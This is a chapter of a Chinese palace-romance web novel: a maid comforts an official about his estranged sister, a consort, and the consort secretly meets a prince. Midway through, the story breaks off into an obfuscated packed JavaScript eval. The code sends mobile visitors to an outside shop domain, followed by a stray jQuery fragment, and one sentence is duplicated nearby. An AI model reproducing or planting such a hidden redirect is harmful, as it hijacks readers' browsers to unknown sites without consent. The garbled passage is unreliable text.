太过空闲的日子让人觉着无聊,霖霜便寻了些事来做。
她见院中几盆花木因连日暑气有些萎顿,便决定亲自修整一番。
待到申末时分,太阳西斜,暑气渐退,总算凉快了些。霖霜坐在竹韵亭中,修剪着一枝木槿的残花。
锦兰端着一盆海棠走上前,放在她脚边,状似无意地提起:“林大人一晌午都在湖边坐着,想来是殿下近日不在,他遇到了什么棘手的难事?”
“是吗?”霖霜随口应了一声。
太子殿下离开长安时曾叮嘱他二人需相互照应。霖霜忙完手头的活计,便朝湖边走去。
果见林寒之神色黯淡,独自坐在湖边树下。
霖霜走过去在他身旁坐下,“怎的在这毒日头下坐了半晌?”
见林寒之仍然沉默地垂着头,她面色也跟着变了,不禁抓起他的衣袖:“是殿下出了什么事?!”
魏珏从泽州发的书信都是由官驿的驿丞直接交给林寒之的。
林寒之见霖霜面露急色,忙道:“没有没有,殿下安好。”
霖霜稍稍安心,一双眼还是看着他。
林寒之避不开,只得长叹一声:“明日是家妹的生辰……”
“是人才娘娘?”霖霜终于收回视线,小心翼翼地问道。
“我不喜欢这个称呼。”林寒之没有任何掩饰地表达自己的愠怒。
霖霜只得低声道:“抱歉……”
林寒之突然苦笑一声,“该说抱歉的是我。你不过道出事实,我却无端迁怒于你。”
霖霜只是浅浅一笑,顿了片刻问道:“她入宫有两年了?”
林寒之眉头紧锁,声音沉了下去:“已三载有余。”
霖霜望着他侧脸,轻声问:“你该是想念她的罢?”
林寒之冷哼一声,“想她作甚?自她决意入宫那日起,我权当没有这个妹妹了。”
“她已经死了。”
话说到此,霖霜再不好接口,只得默然。
林寒之似乎也意识到自己的话让她陷入尴尬的境地,缓了缓语气,又道:“嫣儿小时候并不这样,即便父母早逝,她依然乖巧懂事。”
“只是后来……”
霖霜道:“可她早已长大。”
林寒之抬起紧锁的眉头看着她,她慢慢道:“她不再是个事事需听兄长安排的孩子了。她想为自己做主,做她想做的事。”
林寒之愈加愤懑:“那还要我这个兄长作甚!”
霖霜眼眸清亮地望着他:“自是做兄长该做的事。”
林寒之疑惑地看着她。
“如从前一般疼爱她。”
林寒之神色终于有所松动,他被霖霜口中的“从前”所牵动,露出几分别扭的笑:“还能回到从前吗?她曾那般决绝地忤逆我……”
他其实想问,她还会如从前一般敬爱他吗?
霖霜轻轻笑了一声:“那不是一回事。”
林寒之虽然还是有些迷茫,可他莫名觉得心底轻快许多。
*
八月十五,又到了入宫向皇后请安的日子。
魏珏虽不在长安,但他离开时已将十五入宫请安一应事宜交代与霖霜。
她一早便将魏珏为皇后准备的节礼仔细放进马车,正要登车时,身后忽然有人唤她。
林寒之大步赶上前,手里提着一个精致的食盒,面上带着些赧然的笑意,同她道:“昨日你同我说的那些话,或许我还需要一些时日才能想清楚。不过……”他将手里的食盒递给她,“今日是嫣儿生辰,这里头是她从前爱吃的几样点心,劳烦你替我带给她。”
霖霜笑着应下了。
*
霖霜原想从坤元殿出来后再去林嫣之的瑶光阁,未承想,她在坤元殿请安时,林嫣之正侍奉在侧。
自从刘昶一事过后,沈婺华与霖霜见面时,二人面上都如从前一般。
却到底与从前不同了。
霖霜顺着她的话,从容不迫地应答了几句,便告退出了坤元殿。
待林嫣之从坤元殿出来,看见宫道上候着的霖霜,明显有点愣住了。
霖霜从容上前向她见礼,先向她道了生辰之喜,而后将手中的食盒递与她,简单道明自己的来意。
林嫣之望着那只食盒,沉默了许久,鼻尖渐渐泛酸。她眨了眨眼,才伸手接过。
二人一同往外走,霖霜浅浅与她寒暄几句。
虽说她们都曾待在皇后身边,但霖霜在坤元殿伺候时,林嫣之正随兄长住在宫外魏珏的王府中。
待她被沈婺华指派往王府时,林嫣之恰好又回到沈婺华身边。
细论起来,她们相见的时候实在不多,算不得熟稔。
是以,当林嫣之提着食盒,含笑对霖霜说“其实……我很羡慕你”时,霖霜着实怔住了。
她杏眼微圆,望向林嫣之,只听对方继续轻声说道:“从前便听哥哥提起,说你胆识过人,又勤学肯吃苦,年纪轻轻便掌东宫内务,行事妥帖周全。”
说到这里,她眼中闪过一丝难以掩饰的艳羡:“你才能出众,堪作太子殿下臂膀。”
亦能日日陪伴在三哥哥左右……
这句话她自然无法说出口。
“才人娘娘过誉了,奴婢不过是尽本分,为殿下分忧罢了。”霖霜垂眸浅笑。
林嫣之还是无法接受魏珏身边的人对她用这个称呼,便道:“听闻你年长我些许,若不嫌弃……便同哥哥一般,唤我‘嫣儿’罢。”
霖霜并非随意僭越之人,但她看着林嫣之眼中的热忱与率真,犹豫再三,还是道:“好,嫣儿。”
因曾生活在相同的环境,二人尚有话可叙,半晌才道别分开。
林嫣之忽被身后蓦然蹿出的人影惊得一颤。
在回瑶光阁的路上,林嫣之忽被从身后蹿出的人影吓了一跳。
“嫣儿!”那人唤她。
林嫣之看清来人面容,惊魂稍定,这才想起,今日原是与魏琢约好一道庆贺生辰的。
这些时日里,她又“偶遇”过他几回。在试探出魏琢的确不是什么危险人物后,便愈加大胆与他接触。
伊始,魏琢总以新的理由,推说玉坠还未修好,下次再还给她。
对他的心思,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866472|211993||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她心知肚明,却也不戳破,反而诸多暗示,推波助澜。
她曾“无意”对魏琢透露过自己的生辰,他果真眼巴巴等着今日。
奈何林嫣之原本就未曾将他放在心上,与霖霜聊得投机,便将与他的约定抛到了九霄云外。
幸而他只在瑶光阁附近等着她,若是让他瞧见她与霖霜在一处……
虽说林寒之一直在魏珏身边做事,即便霖霜与她有所往来也属寻常,可林嫣之到底心虚。
越是心虚,她便越要虚张声势,“吓死我了!”
“谁让你来这里的!若是被旁人瞧见了可怎么是好!”一动肝火,便觉身上越发热起来,林嫣之连连挥着帕子。
有些话,不戳破时是一回事,戳破了,便是另一回事。
林嫣之的话,让魏琢也意识到他们此刻的行径并不光彩,脸色顿时白了白,只低声道:“我已让小禄子去附近守着了,不会有人瞧见。”
林嫣之察觉自己的口不择言,忙道:“我知你一片好意,念我在宫中孤苦无依。你既为我考虑,我自然也当为你着想,你贵为皇子,我不能让你因我这般贱躯而声名受损……”
“嫣儿,我不许你这般轻贱自己!”魏琢急道。
见话头已被带过,林嫣之这才暗暗松了口气,垂下眼帘,略点了点头。
魏琢将她引至一处僻静之地。山石环抱着一方小池塘,水面上漂满了荷灯,昏黄的光在水波里轻轻摇晃。
林嫣之故作讶异:“这……这些都是你安排的?”
从小到大,兄长与三哥哥没少为她筹备生辰礼。眼前这般景致,并未真正触动她心弦。
魏琢却对此毫不知情,他只沉浸在其中,向她依依诉说:“我娘在世时,每逢生辰,她也会亲手为我放荷灯……”
林嫣之问道:“是……孝懿皇后?”
魏琢不以为意地扯了扯嘴角:“什么孝懿皇后,不过是死后虚名。”
他神色黯然,林嫣之心中微动,想起他也和自己一样,自幼便没了母亲。
魏琢忽而抬眼看向她,目光灼灼:“我虽努力去学,可这荷灯扎得远不如我娘扎得好看,还望你莫要嫌弃。”
林嫣之重新将视线落在满池荷灯上,“这全是你亲手扎的?”
魏琢点点头,兴致盎然:“若是在夜晚,便更好看!只是我们不便约在夜里……”
说到后面,他的声音渐渐低了下去,语气也变得小心翼翼,不敢再去看林嫣之。
一小池塘的荷灯,称不上什么盛景,如魏琢所言,他扎得荷灯也不算好看。
但此刻,林嫣之再看向身侧的人,忽而觉得,他也有几分可爱。
*
一场暴雨来得猝不及防,霖霜和几个侍女赶忙去搬院儿里的几盆花木。
几人忙得浑身湿透,却仍站在屋檐下相视而笑。
林寒之忽然出现在院里,他披着一身蓑衣,神色肃穆不同寻常。
霖霜直觉不好,勉强维持着笑意问道:“怎么了?”
他踏上前一步,雨水顺着笠檐滚落。
“泽州来信,殿下出事了!”